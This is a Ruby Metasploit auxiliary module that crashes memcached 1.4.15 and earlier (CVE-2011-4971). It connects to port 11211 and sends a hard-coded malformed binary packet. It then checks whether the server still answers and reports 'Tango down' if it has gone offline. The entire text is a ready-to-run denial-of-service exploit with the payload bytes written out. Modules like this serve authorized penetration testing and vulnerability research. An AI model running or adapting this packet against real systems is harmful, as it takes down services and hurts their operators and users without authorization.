Memcached Remote Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Memcached Remote Denial of Service',
      'Description'   => %q{
        This module sends a specially-crafted packet to cause a
        segmentation fault in memcached v1.4.15 or earlier versions.
      },
      'References' =>
        [
          [ 'URL', 'https://code.google.com/archive/p/memcached/issues/192' ],
          [ 'CVE', '2011-4971' ],
          [ 'OSVDB', '92867' ]
        ],
      'Author'       => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
      'License'      => MSF_LICENSE
    ))

    register_options([Opt::RPORT(11211),])
  end

  def is_alive?
    begin
      connect
      disconnect
    rescue Rex::ConnectionRefused
      return false
    end

    return true
  end

  def run
    connect
    pkt =  "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    print_status("#{rhost}:#{rport} - Sending dos packet...")
    sock.put(pkt)
    disconnect

    print_status("#{rhost}:#{rport} - Checking host status...")
    select(nil, nil, nil, 1)

    if is_alive?
      print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
    else
      print_good("#{rhost}:#{rport} - Tango down")  # WWJS - What would th3j35t3r say?
    end
  end
end